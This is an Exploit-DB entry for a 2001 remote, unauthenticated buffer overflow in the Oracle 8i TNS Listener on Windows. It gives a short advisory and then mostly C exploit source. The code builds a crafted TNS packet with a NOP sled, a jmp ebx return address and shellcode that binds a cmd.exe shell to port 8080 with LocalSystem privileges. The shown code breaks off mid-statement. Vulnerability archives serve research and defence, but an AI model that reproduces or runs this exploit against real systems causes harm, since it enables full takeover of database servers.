Exploit-DB #20980
Description: Oracle 8i - TNS Listener Buffer Overflow
Type: remote
Platform: windows
Date: 2001-07-20
Author: benjurry

Exploit:
// source: https://www.securityfocus.com/bid/2941/info

Oracle 8i ships with a component called TNS Listener. TNS Listener is used to arbitrate communication between remote database clients/applications and the database server.

There exists a remotely exploitable buffer overflow in TNS Listener. Remote attackers can execute arbitrary code on affected hosts. This vulnerability does not require authentication to exploit.

On Windows 2000/NT4 systems, TNS Listener runs with 'LocalSystem' privileges. These are equivelent to administrative and any attacker to exploit this vulnerability on such a system would gain control over it.

On Unix systems, Oracle processes such as the listener typically run as their own userid. Exploitation of this vulnerability on these systems would provide an attacker with local access to the victim host. It is significantly easier for attackers to compromise the entire system with local access.

Note: Versions 8.1.5, 8.1.6, and 8.1.7 are confirmed as being vulnerable. Previous versions are likely vulnerable as well. 


/*Oracle TNS SEH Exploit By Benjurry.

Oracle Remote Vulnerability discoveried by COVERT Labs
Code by benjurry,benjurry@xfocus.org
Welcome to http://www.xfocus.net & http://www.xfocus.org
Thank my friends:Batman,xq and Yuange.
Thank members of Xfocus.
This Exploit only test on Win2k Chinese +sp2 and Oracle 8.1.7

2001.7.20



*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment (lib,"Ws2_32")

#define  FNENDLONG     0x08
#define  NOPCODE     0x90
#define  NOPLONG       0x20
#define  BUFFSIZE      0x1b00
#define  RETEIPADDRESS 0x0
#define  SHELLPORT     0x1f90  //shell port =8080
#define PORT 1521

void     shellcodefnlock();
void     shellcodefn();

void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char *argv[])
{
 char *str="\x1f\x90""LoadLibraryA""\x0""CreatePipe""\x0"
       "CreateProcessA""\x0""CloseHandle""\x0"
       "PeekNamedPipe""\x0"
       "ReadFile""\x0""WriteFile""\x0"
       "wsock32.dll""\x0""socket""\x0"
       "bind""\x0""listen""\x0"
       "accept""\x0""send""\x0"
       "recv""\x0""ioctlsocket""\x0"
       "closesocket""\x0"
       "cmd.exe""\x0""exit\x0d\x0a""\x0"
       "strend";


   char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  char cmd1[]="(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=status)(ARGUMENTS=3)(SERVICE=";
  char cmd2[]="1)(VERSION=1)))";
  char head[]="\x00\x59\x00\x00\x01\x00\x00\x00\x01\x36"
   "\x01\x2c\x00\x00\x08\x00\x7f\xff\x7f\x08\x00\x00\x00\x01"
   "\x00\x1f\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
   "\x00\x00\x00\x00\x00\x00\x34\xe6\x00\x00\x00\x01\x00\x00"
   "\x00\x00\x00\x00\x00\x00";
  char  eipwinnt[]="\x63\x0d\xfa\x7f";    // jmp ebx

char  JMPNEXTJMP[]="\xeb\x06\x90\x90";
  char  JMPSHELL[]="\xe9\x2a\xe7\xff\xff";

  char    buff[BUFFSIZE];
  char    recvbuff[BUFFSIZE];
  char    shellcodebuff[0x1000];
   char    *shellcodefnadd,*chkespadd;
     unsigned  char temp;
  int OVERADD2=6346;
  char buffer2[BUFFSIZE];
  int ret;
 int packetlength;
 int cmdlength;
 int tt,shellcodeport,sendpacketlong;
 int i,j,k;
 int OVERADD=0;

 WSADATA WSAData;
 struct hostent          *ht;
 struct sockaddr_in      server;
 memset(buff,NOPCODE,BUFFSIZE);
 printf("Oracle Remote Vulnerability discoveried by COVERT Labs\n");
 printf("Code by benjurry,benjurry@xfocus.org\n");
 printf("Welcome to http://www.xfocus.net\n");
 if(argc<2)
 {
  printf("useage:%s target\n",argv[0]);
exit(1);
 }

 if((tt=WSAStartup(MAKEWORD(1,1), &WSAData)) != 0)
        {
                printf("WSAStartup failed.\n");
    tt=GetLastError();
                WSACleanup();
                exit(1);
        }
if((ht = gethostbyname(argv[1]))==0)
{
                printf("Unable to resolve host %s\n",argv[1]);
                exit(1);
        }
server.sin_port = htons(PORT);
server.sin_family=AF_INET;
server.sin_addr=*((struct in_addr *)ht->h_addr);
   if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                printf("Unable to set up socket\n");
                exit(1);
        }

if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1)
        {
                printf("Unable to connect\n");
                exit(1);
        }
        else
                printf("Connected.\n");









_asm{
        mov ESI,ESP
        cmp ESI,ESP

  }
 _chkesp();
  chkespadd=(char *)_chkesp;
  temp=*chkespadd;
  if(temp==0xe9) {
         ++chkespadd;
          i=*(int*)chkespadd;
         chkespadd+=i;
         chkespadd+=4;
  }

  shellcodefnadd=(char *)shellcodefnlock;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
         ++shellcodefnadd;
         k=*(int *)shellcodefnadd;
         shellcodefnadd+=k;
         shellcodefnadd+=4;
  }

  for(k=0;k<=0x500;++k){
       if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }




   memset(buff,'\x42',BUFFSIZE);
   for(i=0;i<NOPLONG;i++)
    buff[i]='\x90';

 memcpy(buff+OVERADD+NOPLONG,shellcodefnadd+k+4,0x80);

  shellcodefnadd=(char *)shellcodefn;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
    ++shellcodefnadd;
    k=*(int *)shellcodefnadd;
           shellcodefnadd+=k;
    shellcodefnadd+=4;
  }


  for(k=0;k<=0x1000;++k){
    if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memcpy(shellcodebuff,shellcodefnadd,k);
  cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
  for(i=0;i<0x400;++i){
    if(memcmp(str+i,"strend",6)==0) break;
  }
  memcpy(shellcodebuff+k,str,i);


  shellcodeport=SHELLPORT;
  shellcodeport=htons(shellcodeport);
  *(u_short *)(shellcodebuff+k)=shellcodeport;
  fprintf(stderr,"\n shellport %d",htons(shellcodeport));

  sendpacketlong=k+i;
  for(k=0;k<=0x200;++k){
         if(memcmp(buff+OVERADD+NOPLONG+k,f